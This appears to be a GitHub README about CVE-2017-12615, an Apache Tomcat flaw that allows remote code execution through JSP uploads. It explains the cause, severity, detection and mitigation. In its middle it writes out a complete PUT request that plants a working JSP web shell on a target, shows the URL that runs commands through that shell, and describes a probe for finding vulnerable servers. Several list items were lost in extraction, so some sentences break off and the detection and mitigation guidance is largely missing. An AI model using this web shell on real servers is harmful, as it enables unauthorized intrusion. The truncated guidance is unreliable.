k3ystr0k3r/cve-2017-12615CVE-2017-12615 - Apache Tomcat Remote Code Execution (RCE)
CVE-2017-12615 is a Remote Code Execution (RCE) vulnerability affecting Apache Tomcat 7.0.0 through 7.0.79 running on Microsoft Windows when HTTP PUT requests are enabled.
The vulnerability exists because Tomcat incorrectly handles uploaded JSP files when the DefaultServlet is configured with the readonly parameter set to false. Under these conditions, an unauthenticated attacker can upload a malicious JSP file directly to the web server and execute arbitrary Java code simply by requesting the uploaded file.
This vulnerability became one of the most well-known Tomcat RCE issues due to how easy it was to weaponize against misconfigured servers.
readonly="false" configured on the DefaultServlet| Metric | Value |
|---|
| CVE | CVE-2017-12615 |
| CVSS v3 | 8.1 (High) |
| Attack Vector | Network |
| Privileges Required | None |
| User Interaction | None |
| Impact | Remote Code Execution |
Normally, Apache Tomcat prevents users from uploading executable JSP files.
However, when:
readonly=false)an attacker can upload a JSP file directly into the web root.
Once uploaded, requesting that JSP causes Tomcat to compile and execute it, allowing arbitrary Java code execution under the privileges of the Tomcat service.
Attacker
│
│ HTTP PUT
▼
Uploads malicious JSP shell
│
▼
Tomcat stores file
│
│ HTTP GET
▼
Requests uploaded JSP
│
▼
Tomcat compiles JSP
│
▼
Java code executes
│
▼
Remote Code Execution
A typical attack follows these steps:
.jsp web shell.No authentication is required if the server is vulnerable.
Example HTTP PUT request:
PUT /shell.jsp HTTP/1.1
Host: victim.com
Content-Type: application/octet-stream
<%@ page import="java.io.*" %>
<%
Runtime.getRuntime().exec(request.getParameter("cmd"));
%>
If successful, the server responds with:
HTTP/1.1 201 Created
The payload can then be executed by visiting:
http://victim.com/shell.jsp?cmd=whoami
A simple way to identify vulnerable systems is to attempt uploading a harmless test JSP:
PUT /test.jsp
Possible responses include:
201 Created
or
204 No Content
If the uploaded file can subsequently be retrieved over HTTP, the server is likely vulnerable.
Successful exploitation allows an attacker to:
Security teams should investigate for:
.jsp filesRecommended mitigations include:
readonly="true".| Property | Value |
|---|---|
| Vulnerability | Arbitrary JSP Upload |
| CWE | CWE-434 - Unrestricted Upload of File with Dangerous Type |
| Authentication Required | No |
| Exploit Complexity | Low on vulnerable configurations |
| Result | Remote Code Execution |
| Platform | Windows |
| Service | Apache Tomcat |
This repository is intended solely for educational purposes, defensive security research, and authorized penetration testing. Do not use this information against systems without explicit permission.